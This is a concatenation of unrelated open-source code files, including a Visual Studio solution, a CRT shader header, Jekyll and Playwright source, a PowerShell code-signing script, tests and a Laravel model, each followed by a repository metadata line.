 Microsoft Visual Studio Solution File, Format Version 11.00 # Visual Studio 2010 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Auth0Client.Android.Sample", "samples\Auth0Client.Android.Sample\Auth0Client.Android.Sample.csproj", "{2E357FDF-1597-4530-A1D1-D6C6719CECBF}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {2E357FDF-1597-4530-A1D1-D6C6719CECBF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {2E357FDF-1597-4530-A1D1-D6C6719CECBF}.Debug|Any CPU.Build.0 = Debug|Any CPU {2E357FDF-1597-4530-A1D1-D6C6719CECBF}.Release|Any CPU.ActiveCfg = Release|Any CPU {2E357FDF-1597-4530-A1D1-D6C6719CECBF}.Release|Any CPU.Build.0 = Release|Any CPU {81864EA2-C020-4B1F-82E5-0634DD071084}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {81864EA2-C020-4B1F-82E5-0634DD071084}.Debug|Any CPU.Build.0 = Debug|Any CPU {81864EA2-C020-4B1F-82E5-0634DD071084}.Release|Any CPU.ActiveCfg = Release|Any CPU {81864EA2-C020-4B1F-82E5-0634DD071084}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(MonoDevelopProperties) = preSolution StartupItem = samples\Auth0Client.Android.Sample\Auth0Client.Android.Sample.csproj EndGlobalSection EndGlobal
{'repo_name': 'prajjwaldimri/GithubXamarin', 'stars': '957', 'repo_language': 'C#', 'file_name': 'FileRepository.cs', 'mime_type': 'text/plain', 'hash': -2939535966197468153, 'source_dataset': 'data'}
/* This file is part of Darling. Copyright (C) 2017 Lubos Dolezel Darling is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Darling is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Darling. If not, see <http://www.gnu.org/licenses/>. */ #import <CoreImage/CIAdditionCompositing.h> @implementation CIAdditionCompositing - (NSMethodSignature *)methodSignatureForSelector:(SEL)aSelector { return [NSMethodSignature signatureWithObjCTypes: "v@:"]; } - (void)forwardInvocation:(NSInvocation *)anInvocation { NSLog(@"Stub called: %@ in %@", NSStringFromSelector([anInvocation selector]), [self class]); } @end
{'repo_name': 'darlinghq/darling', 'stars': '5627', 'repo_language': 'C', 'file_name': 'config.yml', 'mime_type': 'text/plain', 'hash': 6054571920383288566, 'source_dataset': 'data'}
# Flexbox Grid Grid system built on top of [flex](https://developer.mozilla.org/en-US/docs/Web/CSS/flex). Heavily influenced by [Bootstrap](http://getbootstrap.com/css/#grid). Perfect partner for [Topcoat](http://topcoat.io/) but it can be used with or without any framework you want. ## Example Check out the [live demo](http://codepen.io/anon/pen/aBtyr) or take a look at the [example folder](https://github.com/zeMirco/flexbox-grid/tree/master/example). ## How to use Flexbox grid uses classes like Bootstrap so you don't have to learn anything new. ```html <div class="row"> <div class="col-xs-1"> col-xs-1 </div> </div> <div class="row"> <div class="col-xs-6"> col-xs-6 </div> </div> <div class="row"> <div class="col-xs-2 col-xs-offset-6"> col-xs-2 col-xs-offset-6 </div> </div> ``` There are also classes that fill the available space automatically. ```html <div class="row"> <div class="col-auto"> col-auto </div> <div class="col-auto"> col-auto </div> <div class="col-auto"> col-auto </div> </div> ``` ## Inspiration - [ptb2.me/flexgrid](http://ptb2.me/flexgrid/) - [codepen.io/marcolago/pen/lqGFb](http://codepen.io/marcolago/pen/lqGFb) - [philipwalton.github.io/solved-by-flexbox/demos/grids](http://philipwalton.github.io/solved-by-flexbox/demos/grids/) - [davidwalsh.name/stylus-grid](http://davidwalsh.name/stylus-grid) ## Development Make your changes in `flexbox-grid.styl` and run `grunt` to compile `flexbox-grid.css` and `flexbox-grid.min.css` ## Changelog ##### v1.0.0 - 28/10/2013 - renamend `col-*` classes to responsive `xs`, `sm`, `md`, `lg` classes - made final CSS more readable by [extending placeholder selectors](http://learnboost.github.io/stylus/docs/extend.html) - added `.container` class as wrapper for `.row` - fixes horizontal overflow ##### v0.0.1 - 21/10/2013 - initial release ## License Copyright (C) 2013 [Mirco Zeiss](mailto: mirco.zeiss@gmail.com) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
{'repo_name': 'zemirco/flexbox-grid', 'stars': '124', 'repo_language': 'CSS', 'file_name': 'style.css', 'mime_type': 'text/plain', 'hash': -2500345734112018834, 'source_dataset': 'data'}
#ifndef BLOOM_FUNCTIONS_H #define BLOOM_FUNCTIONS_H ///////////////////////////// GPL LICENSE NOTICE ///////////////////////////// // crt-royale: A full-featured CRT shader, with cheese. // Copyright (C) 2014 TroggleMonkey <trogglemonkey@gmx.com> // // This program is free software; you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by the Free // Software Foundation; either version 2 of the License, or any later version. // // This program is distributed in the hope that it will be useful, but WITHOUT // ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or // FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for // more details. // // You should have received a copy of the GNU General Public License along with // this program; if not, write to the Free Software Foundation, Inc., 59 Temple // Place, Suite 330, Boston, MA 02111-1307 USA ///////////////////////////////// DESCRIPTION //////////////////////////////// // These utility functions and constants help several passes determine the // size and center texel weight of the phosphor bloom in a uniform manner. ////////////////////////////////// INCLUDES ////////////////////////////////// // We need to calculate the correct blur sigma using some .cgp constants: #include "../user-settings.h" #include "derived-settings-and-constants.h" #include "../../../../include/blur-functions.h" /////////////////////////////// BLOOM CONSTANTS ////////////////////////////// // Compute constants with manual inlines of the functions below: static const float bloom_diff_thresh = 1.0/256.0; /////////////////////////////////// HELPERS ////////////////////////////////// inline float get_min_sigma_to_blur_triad(const float triad_size, const float thresh) { // Requires: 1.) triad_size is the final phosphor triad size in pixels // 2.) thresh is the max desired pixel difference in the // blurred triad (e.g. 1.0/256.0). // Returns: Return the minimum sigma that will fully blur a phosphor // triad on the screen to an even color, within thresh. // This closed-form function was found by curve-fitting data. // Estimate: max error = ~0.086036, mean sq. error = ~0.0013387: return -0.05168 + 0.6113*triad_size - 1.122*triad_size*sqrt(0.000416 + thresh); // Estimate: max error = ~0.16486, mean sq. error = ~0.0041041: //return 0.5985*triad_size - triad_size*sqrt(thresh) } inline float get_absolute_scale_blur_sigma(const float thresh) { // Requires: 1.) min_expected_triads must be a global float. The number // of horizontal phosphor triads in the final image must be // >= min_allowed_viewport_triads.x for realistic results. // 2.) bloom_approx_scale_x must be a global float equal to the // absolute horizontal scale of BLOOM_APPROX. // 3.) bloom_approx_scale_x/min_allowed_viewport_triads.x // should be <= 1.1658025090 to keep the final result < // 0.62666015625 (the largest sigma ensuring the largest // unused texel weight stays < 1.0/256.0 for a 3x3 blur). // 4.) thresh is the max desired pixel difference in the // blurred triad (e.g. 1.0/256.0). // Returns: Return the minimum Gaussian sigma that will blur the pass // output as much as it would have taken to blur away // bloom_approx_scale_x horizontal phosphor triads. // Description: // BLOOM_APPROX should look like a downscaled phosphor blur. Ideally, we'd // use the same blur sigma as the actual phosphor bloom and scale it down // to the current resolution with (bloom_approx_scale_x/viewport_size_x), but // we don't know the viewport size in this pass. Instead, we'll blur as // much as it would take to blur away min_allowed_viewport_triads.x. This // will blur "more than necessary" if the user actually uses more triads, // but that's not terrible either, because blurring a constant fraction of // the viewport may better resemble a true optical bloom anyway (since the // viewport will generally be about the same fraction of each player's // field of view, regardless of screen size and resolution). // Assume an extremely large viewport size for asymptotic results. return bloom_approx_scale_x/max_viewport_size_x * get_min_sigma_to_blur_triad( max_viewport_size_x/min_allowed_viewport_triads.x, thresh); } inline float get_center_weight(const float sigma) { // Given a Gaussian blur sigma, get the blur weight for the center texel. #ifdef RUNTIME_PHOSPHOR_BLOOM_SIGMA return get_fast_gaussian_weight_sum_inv(sigma); #else const float denom_inv = 0.5/(sigma*sigma); const float w0 = 1.0; const float w1 = exp(-1.0 * denom_inv); const float w2 = exp(-4.0 * denom_inv); const float w3 = exp(-9.0 * denom_inv); const float w4 = exp(-16.0 * denom_inv); const float w5 = exp(-25.0 * denom_inv); const float w6 = exp(-36.0 * denom_inv); const float w7 = exp(-49.0 * denom_inv); const float w8 = exp(-64.0 * denom_inv); const float w9 = exp(-81.0 * denom_inv); const float w10 = exp(-100.0 * denom_inv); const float w11 = exp(-121.0 * denom_inv); const float w12 = exp(-144.0 * denom_inv); const float w13 = exp(-169.0 * denom_inv); const float w14 = exp(-196.0 * denom_inv); const float w15 = exp(-225.0 * denom_inv); const float w16 = exp(-256.0 * denom_inv); const float w17 = exp(-289.0 * denom_inv); const float w18 = exp(-324.0 * denom_inv); const float w19 = exp(-361.0 * denom_inv); const float w20 = exp(-400.0 * denom_inv); const float w21 = exp(-441.0 * denom_inv); // Note: If the implementation uses a smaller blur than the max allowed, // the worst case scenario is that the center weight will be overestimated, // so we'll put a bit more energy into the brightpass...no huge deal. // Then again, if the implementation uses a larger blur than the max // "allowed" because of dynamic branching, the center weight could be // underestimated, which is more of a problem...consider always using #ifdef PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_12_PIXELS // 43x blur: const float weight_sum_inv = 1.0 / (w0 + 2.0 * (w1 + w2 + w3 + w4 + w5 + w6 + w7 + w8 + w9 + w10 + w11 + w12 + w13 + w14 + w15 + w16 + w17 + w18 + w19 + w20 + w21)); #else #ifdef PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_9_PIXELS // 31x blur: const float weight_sum_inv = 1.0 / (w0 + 2.0 * (w1 + w2 + w3 + w4 + w5 + w6 + w7 + w8 + w9 + w10 + w11 + w12 + w13 + w14 + w15)); #else #ifdef PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_6_PIXELS // 25x blur: const float weight_sum_inv = 1.0 / (w0 + 2.0 * ( w1 + w2 + w3 + w4 + w5 + w6 + w7 + w8 + w9 + w10 + w11 + w12)); #else #ifdef PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_3_PIXELS // 17x blur: const float weight_sum_inv = 1.0 / (w0 + 2.0 * ( w1 + w2 + w3 + w4 + w5 + w6 + w7 + w8)); #else // 9x blur: const float weight_sum_inv = 1.0 / (w0 + 2.0 * (w1 + w2 + w3 + w4)); #endif // PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_3_PIXELS #endif // PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_6_PIXELS #endif // PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_9_PIXELS #endif // PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_12_PIXELS const float center_weight = weight_sum_inv * weight_sum_inv; return center_weight; #endif } inline float3 tex2DblurNfast(const sampler2D texture, const float2 tex_uv, const float2 dxdy, const float sigma) { // If sigma is static, we can safely branch and use the smallest blur // that's big enough. Ignore #define hints, because we'll only use a // large blur if we actually need it, and the branches cost nothing. #ifndef RUNTIME_PHOSPHOR_BLOOM_SIGMA #define PHOSPHOR_BLOOM_BRANCH_FOR_BLUR_SIZE #else // It's still worth branching if the profile supports dynamic branches: // It's much faster than using a hugely excessive blur, but each branch // eats ~1% FPS. #ifdef DRIVERS_ALLOW_DYNAMIC_BRANCHES #define PHOSPHOR_BLOOM_BRANCH_FOR_BLUR_SIZE #endif #endif // Failed optimization notes: // I originally created a same-size mipmapped 5-tap separable blur10 that // could handle any sigma by reaching into lower mip levels. It was // as fast as blur25fast for runtime sigmas and a tad faster than // blur31fast for static sigmas, but mipmapping two viewport-size passes // ate 10% of FPS across all codepaths, so it wasn't worth it. #ifdef PHOSPHOR_BLOOM_BRANCH_FOR_BLUR_SIZE if(sigma <= blur9_std_dev) { return tex2Dblur9fast(texture, tex_uv, dxdy, sigma); } else if(sigma <= blur17_std_dev) { return tex2Dblur17fast(texture, tex_uv, dxdy, sigma); } else if(sigma <= blur25_std_dev) { return tex2Dblur25fast(texture, tex_uv, dxdy, sigma); } else if(sigma <= blur31_std_dev) { return tex2Dblur31fast(texture, tex_uv, dxdy, sigma); } else { return tex2Dblur43fast(texture, tex_uv, dxdy, sigma); } #else // If we can't afford to branch, we can only guess at what blur // size we need. Therefore, use the largest blur allowed. #ifdef PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_12_PIXELS return tex2Dblur43fast(texture, tex_uv, dxdy, sigma); #else #ifdef PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_9_PIXELS return tex2Dblur31fast(texture, tex_uv, dxdy, sigma); #else #ifdef PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_6_PIXELS return tex2Dblur25fast(texture, tex_uv, dxdy, sigma); #else #ifdef PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_3_PIXELS return tex2Dblur17fast(texture, tex_uv, dxdy, sigma); #else return tex2Dblur9fast(texture, tex_uv, dxdy, sigma); #endif // PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_3_PIXELS #endif // PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_6_PIXELS #endif // PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_9_PIXELS #endif // PHOSPHOR_BLOOM_TRIADS_LARGER_THAN_12_PIXELS #endif // PHOSPHOR_BLOOM_BRANCH_FOR_BLUR_SIZE } inline float get_bloom_approx_sigma(const float output_size_x_runtime, const float estimated_viewport_size_x) { // Requires: 1.) output_size_x_runtime == BLOOM_APPROX.output_size.x. // This is included for dynamic codepaths just in case the // following two globals are incorrect: // 2.) bloom_approx_size_x_for_skip should == the same // if PHOSPHOR_BLOOM_FAKE is #defined // 3.) bloom_approx_size_x should == the same otherwise // Returns: For gaussian4x4, return a dynamic small bloom sigma that's // as close to optimal as possible given available information. // For blur3x3, return the a static small bloom sigma that // works well for typical cases. Otherwise, we're using simple // bilinear filtering, so use static calculations. // Assume the default static value. This is a compromise that ensures // typical triads are blurred, even if unusually large ones aren't. static const float mask_num_triads_static = max(min_allowed_viewport_triads.x, mask_num_triads_desired_static); const float mask_num_triads_from_size = estimated_viewport_size_x/mask_triad_size_desired; const float mask_num_triads_runtime = max(min_allowed_viewport_triads.x, lerp(mask_num_triads_from_size, mask_num_triads_desired, mask_specify_num_triads)); // Assume an extremely large viewport size for asymptotic results: static const float max_viewport_size_x = 1080.0*1024.0*(4.0/3.0); if(bloom_approx_filter > 1.5) // 4x4 true Gaussian resize { // Use the runtime num triads and output size: const float asymptotic_triad_size = max_viewport_size_x/mask_num_triads_runtime; const float asymptotic_sigma = get_min_sigma_to_blur_triad( asymptotic_triad_size, bloom_diff_thresh); const float bloom_approx_sigma = asymptotic_sigma * output_size_x_runtime/max_viewport_size_x; // The BLOOM_APPROX input has to be ORIG_LINEARIZED to avoid moire, but // account for the Gaussian scanline sigma from the last pass too. // The bloom will be too wide horizontally but tall enough vertically. return length(float2(bloom_approx_sigma, beam_max_sigma)); } else // 3x3 blur resize (the bilinear resize doesn't need a sigma) { // We're either using blur3x3 or bilinear filtering. The biggest // reason to choose blur3x3 is to avoid dynamic weights, so use a // static calculation. #ifdef PHOSPHOR_BLOOM_FAKE static const float output_size_x_static = bloom_approx_size_x_for_fake; #else static const float output_size_x_static = bloom_approx_size_x; #endif static const float asymptotic_triad_size = max_viewport_size_x/mask_num_triads_static; const float asymptotic_sigma = get_min_sigma_to_blur_triad( asymptotic_triad_size, bloom_diff_thresh); const float bloom_approx_sigma = asymptotic_sigma * output_size_x_static/max_viewport_size_x; // The BLOOM_APPROX input has to be ORIG_LINEARIZED to avoid moire, but // try accounting for the Gaussian scanline sigma from the last pass // too; use the static default value: return length(float2(bloom_approx_sigma, beam_max_sigma_static)); } } inline float get_final_bloom_sigma(const float bloom_sigma_runtime) { // Requires: 1.) bloom_sigma_runtime is a precalculated sigma that's // optimal for the [known] triad size. // 2.) Call this from a fragment shader (not a vertex shader), // or blurring with static sigmas won't be constant-folded. // Returns: Return the optimistic static sigma if the triad size is // known at compile time. Otherwise return the optimal runtime // sigma (10% slower) or an implementation-specific compromise // between an optimistic or pessimistic static sigma. // Notes: Call this from the fragment shader, NOT the vertex shader, // so static sigmas can be constant-folded! const float bloom_sigma_optimistic = get_min_sigma_to_blur_triad( mask_triad_size_desired_static, bloom_diff_thresh); #ifdef RUNTIME_PHOSPHOR_BLOOM_SIGMA return bloom_sigma_runtime; #else // Overblurring looks as bad as underblurring, so assume average-size // triads, not worst-case huge triads: return bloom_sigma_optimistic; #endif } #endif // BLOOM_FUNCTIONS_H
{'repo_name': 'exokitxr/emukit', 'stars': '117', 'repo_language': 'JavaScript', 'file_name': 'inflate.js', 'mime_type': 'text/plain', 'hash': 9211039277020332775, 'source_dataset': 'data'}
module Jekyll class DataReader attr_reader :site, :content def initialize(site) @site = site @content = {} @entry_filter = EntryFilter.new(site) end # Read all the files in <source>/<dir>/_drafts and create a new Draft # object with each one. # # dir - The String relative path of the directory to read. # # Returns nothing. def read(dir) base = site.in_source_dir(dir) read_data_to(base, @content) @content end # Read and parse all yaml files under <dir> and add them to the # <data> variable. # # dir - The string absolute path of the directory to read. # data - The variable to which data will be added. # # Returns nothing def read_data_to(dir, data) return unless File.directory?(dir) && !@entry_filter.symlink?(dir) entries = Dir.chdir(dir) do Dir["*.{yaml,yml,json,csv}"] + Dir["*"].select { |fn| File.directory?(fn) } end entries.each do |entry| path = @site.in_source_dir(dir, entry) next if @entry_filter.symlink?(path) key = sanitize_filename(File.basename(entry, ".*")) if File.directory?(path) read_data_to(path, data[key] = {}) else data[key] = read_data_file(path) end end end # Determines how to read a data file. # # Returns the contents of the data file. def read_data_file(path) case File.extname(path).downcase when ".csv" CSV.read(path, { :headers => true, :encoding => site.config["encoding"] }).map(&:to_hash) else SafeYAML.load_file(path) end end def sanitize_filename(name) name.gsub!(%r![^\w\s-]+!, "") name.gsub!(%r!(^|\b\s)\s+($|\s?\b)!, '\\1\\2') name.gsub(%r!\s+!, "_") end end end
{'repo_name': 'madhur/PortableJekyll', 'stars': '386', 'repo_language': 'HTML', 'file_name': 'slate.vim', 'mime_type': 'text/plain', 'hash': -8001327161960521740, 'source_dataset': 'data'}
/** * Copyright 2019 Google Inc. All rights reserved. * Modifications copyright (c) Microsoft Corporation. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import { helper, RegisteredListener } from '../helper'; import { FFSession } from './ffConnection'; import { Page } from '../page'; import * as network from '../network'; import * as frames from '../frames'; import * as types from '../types'; import { Protocol } from './protocol'; export class FFNetworkManager { private _session: FFSession; private _requests: Map<string, InterceptableRequest>; private _page: Page; private _eventListeners: RegisteredListener[]; constructor(session: FFSession, page: Page) { this._session = session; this._requests = new Map(); this._page = page; this._eventListeners = [ helper.addEventListener(session, 'Network.requestWillBeSent', this._onRequestWillBeSent.bind(this)), helper.addEventListener(session, 'Network.responseReceived', this._onResponseReceived.bind(this)), helper.addEventListener(session, 'Network.requestFinished', this._onRequestFinished.bind(this)), helper.addEventListener(session, 'Network.requestFailed', this._onRequestFailed.bind(this)), ]; } dispose() { helper.removeEventListeners(this._eventListeners); } async setRequestInterception(enabled: boolean) { await this._session.send('Network.setRequestInterception', {enabled}); } _onRequestWillBeSent(event: Protocol.Network.requestWillBeSentPayload) { const redirectedFrom = event.redirectedFrom ? (this._requests.get(event.redirectedFrom) || null) : null; const frame = redirectedFrom ? redirectedFrom.request.frame() : (event.frameId ? this._page._frameManager.frame(event.frameId) : null); if (!frame) return; if (redirectedFrom) this._requests.delete(redirectedFrom._id); const request = new InterceptableRequest(this._session, frame, redirectedFrom, event); this._requests.set(request._id, request); this._page._frameManager.requestStarted(request.request); } _onResponseReceived(event: Protocol.Network.responseReceivedPayload) { const request = this._requests.get(event.requestId); if (!request) return; const getResponseBody = async () => { const response = await this._session.send('Network.getResponseBody', { requestId: request._id }); if (response.evicted) throw new Error(`Response body for ${request.request.method()} ${request.request.url()} was evicted!`); return Buffer.from(response.base64body, 'base64'); }; const response = new network.Response(request.request, event.status, event.statusText, event.headers, getResponseBody); this._page._frameManager.requestReceivedResponse(response); } _onRequestFinished(event: Protocol.Network.requestFinishedPayload) { const request = this._requests.get(event.requestId); if (!request) return; const response = request.request._existingResponse()!; // Keep redirected requests in the map for future reference as redirectedFrom. const isRedirected = response.status() >= 300 && response.status() <= 399; if (isRedirected) { response._requestFinished('Response body is unavailable for redirect responses'); } else { this._requests.delete(request._id); response._requestFinished(); } this._page._frameManager.requestFinished(request.request); } _onRequestFailed(event: Protocol.Network.requestFailedPayload) { const request = this._requests.get(event.requestId); if (!request) return; this._requests.delete(request._id); const response = request.request._existingResponse(); if (response) response._requestFinished(); request.request._setFailureText(event.errorCode); this._page._frameManager.requestFailed(request.request, event.errorCode === 'NS_BINDING_ABORTED'); } } const causeToResourceType: {[key: string]: string} = { TYPE_INVALID: 'other', TYPE_OTHER: 'other', TYPE_SCRIPT: 'script', TYPE_IMAGE: 'image', TYPE_STYLESHEET: 'stylesheet', TYPE_OBJECT: 'other', TYPE_DOCUMENT: 'document', TYPE_SUBDOCUMENT: 'document', TYPE_REFRESH: 'document', TYPE_XBL: 'other', TYPE_PING: 'other', TYPE_XMLHTTPREQUEST: 'xhr', TYPE_OBJECT_SUBREQUEST: 'other', TYPE_DTD: 'other', TYPE_FONT: 'font', TYPE_MEDIA: 'media', TYPE_WEBSOCKET: 'websocket', TYPE_CSP_REPORT: 'other', TYPE_XSLT: 'other', TYPE_BEACON: 'other', TYPE_FETCH: 'fetch', TYPE_IMAGESET: 'images', TYPE_WEB_MANIFEST: 'manifest', }; const internalCauseToResourceType: {[key: string]: string} = { TYPE_INTERNAL_EVENTSOURCE: 'eventsource', }; class InterceptableRequest implements network.RouteDelegate { readonly request: network.Request; _id: string; private _session: FFSession; constructor(session: FFSession, frame: frames.Frame, redirectedFrom: InterceptableRequest | null, payload: Protocol.Network.requestWillBeSentPayload) { this._id = payload.requestId; this._session = session; let postDataBuffer = null; if (payload.postData) postDataBuffer = Buffer.from(payload.postData, 'base64'); this.request = new network.Request(payload.isIntercepted ? this : null, frame, redirectedFrom ? redirectedFrom.request : null, payload.navigationId, payload.url, internalCauseToResourceType[payload.internalCause] || causeToResourceType[payload.cause] || 'other', payload.method, postDataBuffer, payload.headers); } async continue(overrides: types.NormalizedContinueOverrides) { await this._session.sendMayFail('Network.resumeInterceptedRequest', { requestId: this._id, method: overrides.method, headers: overrides.headers, postData: overrides.postData ? Buffer.from(overrides.postData).toString('base64') : undefined }); } async fulfill(response: types.NormalizedFulfillResponse) { const base64body = response.isBase64 ? response.body : Buffer.from(response.body).toString('base64'); await this._session.sendMayFail('Network.fulfillInterceptedRequest', { requestId: this._id, status: response.status, statusText: network.STATUS_TEXTS[String(response.status)] || '', headers: response.headers, base64body, }); } async abort(errorCode: string) { await this._session.sendMayFail('Network.abortInterceptedRequest', { requestId: this._id, errorCode, }); } }
{'repo_name': 'microsoft/playwright', 'stars': '14917', 'repo_language': 'TypeScript', 'file_name': 'COPYING.GPLv3', 'mime_type': 'text/plain', 'hash': -5826601494423320261, 'source_dataset': 'data'}
$foundCert = Test-Certificate -Cert Cert:\CurrentUser\my\8ef9a86dfd4bd0b4db313d55c4be8b837efa7b77 -User if(!$foundCert) { Write-Host "Certificate doesn't exist. Exit." exit } Write-Host "Certificate found. Sign the assemblies." $signtool = "C:\Program Files (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe" foreach ($line in Get-Content .\sign.txt) { & $signtool sign /tr http://timestamp.digicert.com /td sha256 /fd sha256 /a .\bin\$line | Write-Debug if ($LASTEXITCODE -ne 0) { Write-Host ".\bin\$line is not signed. Exit." exit $LASTEXITCODE } } Write-Host "Verify digital signature." $files = Get-ChildItem .\bin\* -Include ('*.dll', "*.exe") -File $files | ForEach-Object { & $signtool verify /pa /q $_.FullName 2>&1 | Write-Debug if ($LASTEXITCODE -ne 0) { Write-Host "$_.FullName is not signed. Exit." exit $LASTEXITCODE } } Write-Host "Verification finished."
{'repo_name': 'jexuswebserver/JexusManager', 'stars': '170', 'repo_language': 'C#', 'file_name': 'Resources.Designer.cs', 'mime_type': 'text/plain', 'hash': 9201345897929844980, 'source_dataset': 'data'}
//===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // test set_new_handler #include <new> #include <cassert> void f1() {} void f2() {} int main() { assert(std::set_new_handler(f1) == 0); assert(std::set_new_handler(f2) == f1); }
{'repo_name': 'bitrig/bitrig', 'stars': '252', 'repo_language': 'C', 'file_name': 'LoopSimplify.cpp', 'mime_type': 'text/x-c', 'hash': 2644508352293653580, 'source_dataset': 'data'}
require 'rails_helper' describe 'idv/doc_auth/welcome.html.erb' do let(:flow_session) { {} } let(:user_fully_authenticated) { true } before do allow(view).to receive(:flow_session).and_return(flow_session) allow(view).to receive(:user_fully_authenticated?).and_return(user_fully_authenticated) allow(view).to receive(:url_for).and_return('https://www.example.com/') allow(view).to receive(:user_signing_up?).and_return(false) end context 'in doc auth with an authenticated user' do it 'renders a link to return to the SP' do render template: 'idv/doc_auth/welcome.html.erb' expect(rendered).to have_link(t('links.cancel')) end end context 'in recovery without an authenticated user' do let(:user_fully_authenticated) { false } it 'renders a link to return to the MFA step' do render template: 'idv/doc_auth/welcome.html.erb' expect(rendered).to have_link(t('two_factor_authentication.choose_another_option')) end end context 'when liveness checking enabled' do before do allow(view).to receive(:liveness_checking_enabled?).and_return(true) end it 'renders selfie instructions' do render template: 'idv/doc_auth/welcome.html.erb' expect(rendered).to have_text(t('doc_auth.instructions.bullet1a')) end end context 'when liveness checking is disabled' do before do allow(view).to receive(:liveness_checking_enabled?).and_return(false) end it 'renders selfie instructions' do render template: 'idv/doc_auth/welcome.html.erb' expect(rendered).to_not have_text(t('doc_auth.instructions.bullet1a')) end end context 'during the acuant maintenance window' do let(:start) { Time.zone.parse('2020-01-01T00:00:00Z') } let(:now) { Time.zone.parse('2020-01-01T12:00:00Z') } let(:finish) { Time.zone.parse('2020-01-01T23:59:59Z') } before do allow(Figaro.env).to receive(:acuant_maintenance_window_start).and_return(start.iso8601) allow(Figaro.env).to receive(:acuant_maintenance_window_finish).and_return(finish.iso8601) end around do |ex| Timecop.travel(now) { ex.run } end it 'renders the warning banner but no other content' do render template: 'idv/doc_auth/welcome.html.erb' expect(rendered).to have_content('We are currently under maintenance') expect(rendered).to_not have_content(t('doc_auth.headings.welcome')) end end end
{'repo_name': '18F/identity-idp', 'stars': '295', 'repo_language': 'Ruby', 'file_name': 'config.yml', 'mime_type': 'text/plain', 'hash': 2971443704280680751, 'source_dataset': 'data'}
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Post extends Model { use SoftDeletes; /** * 该模型是否被自动维护时间戳 * * @var bool */ public $timestamps = true; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'adminid', 'uid', 'category_id', 'tags', 'uuid', 'title', 'name', 'author', 'source', 'description', 'password', 'cover_ids', 'pid', 'level', 'type', 'show_type', 'position', 'content', 'comment', 'view', 'page_tpl', 'file_id', 'comment_status', 'status' ]; protected $dates = ['delete_at']; }
{'repo_name': 'tangtanglove/fullstack-backend', 'stars': '258', 'repo_language': 'PHP', 'file_name': 'LodopFuncs.js', 'mime_type': 'text/html', 'hash': -105311330418327677, 'source_dataset': 'data'}
^D:\FRANK\DESKTOP\FRANK\CS184\3DWORLD\GLEW-2.0.0\BUILD\GLEW.RC D:\FRANK\DESKTOP\FRANK\CS184\3DWORLD\GLEW-2.0.0\BUILD\VC12\TMP\GLEW_STATIC\DEBUG\WIN32\GLEW.RES
{'repo_name': 'fegennari/3DWorld', 'stars': '366', 'repo_language': 'C++', 'file_name': 'COLL_OBJS2.TXT', 'mime_type': 'text/plain', 'hash': 6276704169606275820, 'source_dataset': 'data'}
